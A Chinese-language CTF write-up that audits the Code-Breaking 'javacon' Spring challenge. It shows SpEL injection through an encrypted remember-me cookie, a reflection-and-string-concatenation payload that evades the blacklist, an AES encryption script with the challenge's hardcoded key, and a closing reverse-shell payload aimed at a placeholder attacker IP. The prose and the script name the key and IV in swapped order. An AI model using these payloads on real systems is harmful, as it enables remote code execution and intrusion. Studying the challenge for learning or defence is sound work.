【网络安全 | Java代码审计】Code-Breaking Puzzles-javacon
未经许可,不得转载。
源码:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar,下载至桌面。
考察知识点:SpEL注入
正文
执行命令运行环境:
java -jar C:\Users\86177\Desktop\challenge-0.0.1-SNAPSHOT.jar
浏览器访问localhost:8080
使用JD-GUI反编译,目录结构大致如下:
这是一个spring框架,先分析application.yml文件:
该文件设置了黑名单,主要过滤了任何包含 java.lang
的关键字、Runtime
类、exec
方法;并且配置了默认的用户名密码为admin、admin以及用于 remember-me
功能的密钥。
Spring框架的关键点在于Controller,即控制器,我们看看MainController.java文件实现了什么功能。
文件中,MainController.class定义了ExpressionParser:
该属性在该文件下的getAdvanceValue()函数中会被调用来解析字符串内容:
由此可知,getAdvanceValue()函数是SpEL 注入的触发点。
接着,admin()函数中调用了getAdvanceValue()函数,传递的参数为输入的username的值:
现在让我们跟进username参数,看其在哪个场景下存在SpEL注入。首先看login()函数:
/* */ @PostMapping({"/login"})
/* */ public String login(@RequestParam(value = "username", required = true) String username, @RequestParam(value = "password", required = true) String password, @RequestParam(value = "remember-me", required = false) String isRemember, HttpSession session, HttpServletResponse response) {
/* 70 */ if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
/* 71 */ session.setAttribute("username", username);
/* */
/* 73 */ if (isRemember != null && !isRemember.equals("")) {
/* 74 */ Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
/* 75 */ c.setMaxAge(2592000);
/* 76 */ response.addCookie(c);
/* */ }
/* */
/* 79 */ return "redirect:/";
/* */ }
/* 81 */ return "redirect:/login-error";
/* */ }
这里传入了三个参数,包括username、password和remember-me,其中前两个是必须传入的,remember-me是非必须传入的。
在第一个if条件中,通过 this.userConfig.getUsername()
和 this.userConfig.getPassword()
方法从配置中获取用户名和密码,并与请求中的用户名和密码进行比较。如果用户名和密码匹配,则认为用户登录成功。接着使用session.setAttribute("username")
将用户名存储在 HTTP 会话中,方便后续的请求使用:
可以看到,只有在username匹配成功的情况下,才能调用session.setAttribute("username")
,因此无法将username构造为payload,即无法实现SpEL注入。
接着我们再跟进admin()函数:
先从请求头Cookie中提取remember-me参数的值,当remember-me的值为空时,调用session.getAttribute("username")
来获取HTTP会话中username的值,再调用getAdvanceValue()函数来处理username,此时由于username是正确的用户名,因此无法实现SpEL注入:
/* */
/* 43 */ Object username = session.getAttribute("username");
/* 44 */ if (username == null || username.toString().equals("")) {
/* 45 */ return "redirect:/login";
/* */ }
/* */
/* 48 */ model.addAttribute("name", getAdvanceValue(username.toString()));
/* 49 */ return "hello";
当remember-me的值不为空时(即登录时勾选了remember-me),使用 decryptRememberMe
方法解密 Cookie 值,并将解密后的值存储在 HTTP 会话中,作为 "username"
属性:
/* */ public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue, HttpSession session, Model model) {
/* 36 */ if (rememberMeValue != null && !rememberMeValue.equals("")) {
/* 37 */ String str = this.userConfig.decryptRememberMe(rememberMeValue);
/* 38 */ if (str != null) {
/* 39 */ session.setAttribute("username", str);
/* */ }
/* */ }
可以看到,此时的username可控,可以实现SpEL注入。
因此,我们只需输入admin/admin并勾选remember-me选项,点击登录,然后在请求包中修改Cookie内容即可。
这里注意,需要将proxy及burp的端口修改为8081,防止与本地环境冲突。
由于application.yml文件中过滤了任何包含 java.lang
的关键字、Runtime
类、exec
方法,那该如何构造Payload实现绕过呢?
可以利用 Java 的反射机制来绕过黑名单限制。通过 Class.forName()
和 Method.getMethod()
等重要的方法,可以动态加载和调用方法,而这些方法的参数是字符串,因此可以通过字符串拼接的方式绕过黑名单检查。
构造后的初始Payload如下:
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"});
在SpEL中,使用T()运算符会调用类作用域的方法和常量。这里需要将Payload修改为满足SpEL的解析格式:
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}
接着,将该Payload进行加密即可,源代码的加密部分如下:
其中,涉及到三个参数,initVector为c0dehack1nghere1(在ChallengeApplication.java中)、key为0123456789abcdef(在UserConfig.java中)、value为admin。
构造加密脚本:
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
public class ice{
public static void main(String[] args)
{
String key="c0dehack1nghere1";
String initVector="0123456789abcdef";
String value="admin";
/* */ try {
/* 15 */ IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
/* 16 */ SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
/* */
/* 18 */ Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
/* 19 */ cipher.init(1, skeySpec, iv);
/* */
/* 21 */ byte[] encrypted = cipher.doFinal(value.getBytes());
/* */
/* 23 */ System.out.println(Base64.getUrlEncoder().encodeToString(encrypted));
/* 24 */ } catch (Exception ex) {
/* 28 */ System.out.println(ex.getMessage());
/* */ }
}
}
可以看到,value为admin时,加密后的结果与burp中的remember-me参数是一致的,说明加密脚本构造成功。
接着,将admin改为payload即可:
请求包如下:
GET / HTTP/1.1
Host: localhost:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Referer: http://localhost:8080/login;jsessionid=6F134EE0A90DCC7435DDC29F6A6FE9D1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=6F134EE0A90DCC7435DDC29F6A6FE9D1; remember-me=bvik1nAmjEAllRdn5UKWGC9uCj0hW0P2B6k1uigkS1acKxD9b_xNi-x09UGgjU1DvDEI2GGk4Jn0ApM_cSVc0G7kGnvvtewNRVsfqFUCR0fMAPqbj6yqACW6XVtt8Fp1nBwebKd7pkYSZCv6Yj3X7H-0-8HDV6F3sS3yWHUQEBPAyiNmKfkSKUV5VVlNdo16Nij8YX8HvKdeMHJ7_5Sdjfmfq3dKPeUOivMyVp_GdEkffgly4YX4eWCOzQRr4uQgodsKw2pC9N9udnw3Fz7O5ZhzmoYttjLubBowMtkF-Q6HHCvBrK9SWCzRQXC6jqYX_XeqyZuDreUixnpXpzlN9H7gNu6g_wGm_cm_ZTToae358b5MVNWC71uaMEt3PRJl
Connection: close
弹出本地计算器,SpEL注入成功:
构造反弹shell:
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/攻击机IP/端口 0>&1"})}